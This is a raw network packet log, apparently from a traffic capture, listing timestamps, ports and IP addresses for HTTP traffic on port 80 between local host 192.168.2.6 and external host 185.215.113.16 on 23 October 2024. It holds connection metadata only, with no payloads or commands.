Oct 23, 2024 17:51:41.356301069 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.356347084 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.356358051 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.356386900 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.356400013 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.356436968 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.356445074 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.356476068 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.356482983 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.356525898 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.356534958 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.356570959 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.356601954 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.356625080 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.356636047 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.356659889 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.356672049 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.356681108 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.356705904 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.356717110 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.356740952 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.356745958 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.356774092 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.356785059 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.356810093 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.356844902 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.356852055 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.356879950 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.356914997 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.356926918 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.356952906 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.356977940 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.356985092 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.356997013 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.357019901 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.357029915 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.357053995 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.357057095 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.357089043 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.357116938 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.357122898 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.357124090 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.357156992 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.357191086 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.357201099 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.357225895 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.357244968 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.357259989 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.357265949 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.357295036 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.357331038 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.357343912 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.357367039 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.357373953 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.357400894 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.357434988 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.357446909 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.357469082 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.357503891 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.357511997 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.357532024 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.357537985 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.357549906 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.357573032 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.357609034 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.357616901 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.357642889 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.357676983 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.357688904 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.357709885 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.357722044 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.357744932 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.357778072 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.357789040 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.357812881 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.357822895 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.357848883 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.357858896 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.357882977 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.357892036 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.357917070 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.357925892 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.357964039 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.357970953 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.357999086 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.358007908 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.358031988 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.358042955 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.358067036 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.358074903 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.358100891 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.358109951 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.358135939 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.358143091 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.358169079 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.358177900 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.358202934 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.358237028 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.358247042 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.358270884 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.358270884 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.358304024 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.358313084 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.358340025 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.358347893 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.358371973 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.358382940 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.358406067 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.358413935 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.358439922 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.358449936 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.358474016 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.358484030 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.358509064 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.358516932 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.358542919 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.358551025 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.358576059 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.358584881 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.358625889 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.358628988 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.358660936 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.358665943 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.358695030 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.358704090 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.358727932 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.358737946 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.358762980 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.358794928 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.358807087 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.358829021 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.358835936 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.358864069 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.358896971 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.358916044 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.358930111 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.358943939 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.358964920 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.358979940 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.358997107 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.359013081 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.359030962 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.359044075 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.359065056 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.359080076 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.359097958 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.359112024 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.359131098 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.359142065 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.359167099 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.359181881 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.359196901 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.359208107 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.359231949 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.359241009 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.359266043 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.359298944 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.359312057 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.359350920 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.359380007 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.359390974 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.359419107 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.390108109 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.390155077 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.390166998 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.390213013 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.390227079 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.390239000 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.390247107 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.390250921 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.390271902 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.390285969 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.390324116 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.390336990 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.390346050 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.390377998 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.390755892 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.390769005 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.390780926 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.390806913 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.390821934 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.390825987 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.390836954 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.390851021 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.390863895 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.390873909 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.390894890 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.390903950 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.390914917 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.390927076 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.390938044 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.390949965 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.390955925 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.390960932 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.390973091 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.390974045 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.390994072 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.391017914 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.391030073 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.391042948 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.391052961 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.391064882 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.391074896 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.391077995 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.391099930 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.391109943 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.391129017 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.391140938 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.391153097 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.391166925 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.391174078 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.391180038 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.391189098 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.391191006 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.391204119 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.391211987 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.391213894 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.391244888 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.391407967 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.391421080 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.391433001 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.391443968 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.391454935 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.391462088 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.391467094 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.391479015 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.391489029 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.391489029 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.391500950 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.391510963 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.391522884 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.391530037 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.391534090 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.391545057 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.391546011 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.391557932 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.391562939 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.391568899 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.391575098 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.391581059 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.391593933 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.391596079 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.391624928 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.391644001 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.391649961 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.391660929 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.391673088 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.391684055 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.391695023 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.391705990 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.391706944 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.391714096 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.391719103 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.391730070 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.391751051 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.391768932 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.391772032 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.391783953 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.391796112 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.391807079 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.391819954 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.391819954 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.391839981 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.391840935 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.391853094 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.391865015 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.391865015 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.391875982 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.391885996 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.391891956 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.391897917 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.391897917 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.391901970 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.391907930 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.391916037 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.391921997 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.391978025 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.391979933 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.392015934 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.392029047 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.392034054 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.392055988 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.392086029 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.392093897 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.392103910 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.392118931 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.392129898 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.392138004 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.392148018 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.392149925 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.392159939 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.392168999 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.392191887 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.392211914 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.392345905 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.392391920 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.392405033 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.392437935 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.392463923 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.392523050 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.392537117 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.392549992 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.392560959 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.392570019 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.392581940 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.392584085 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.392596006 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.392606974 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.392607927 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.392618895 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.392632961 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.392633915 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.392643929 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.392656088 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.392658949 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.392668962 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.392680883 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.392683983 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.392692089 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.392697096 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.392704964 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.392719030 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.392724991 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.392739058 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.392749071 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.392751932 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.392760038 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.392791033 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.392827988 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.392841101 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.392854929 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.392864943 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.392878056 CEST	49868	80	192.168.2.6	185.215.113.16
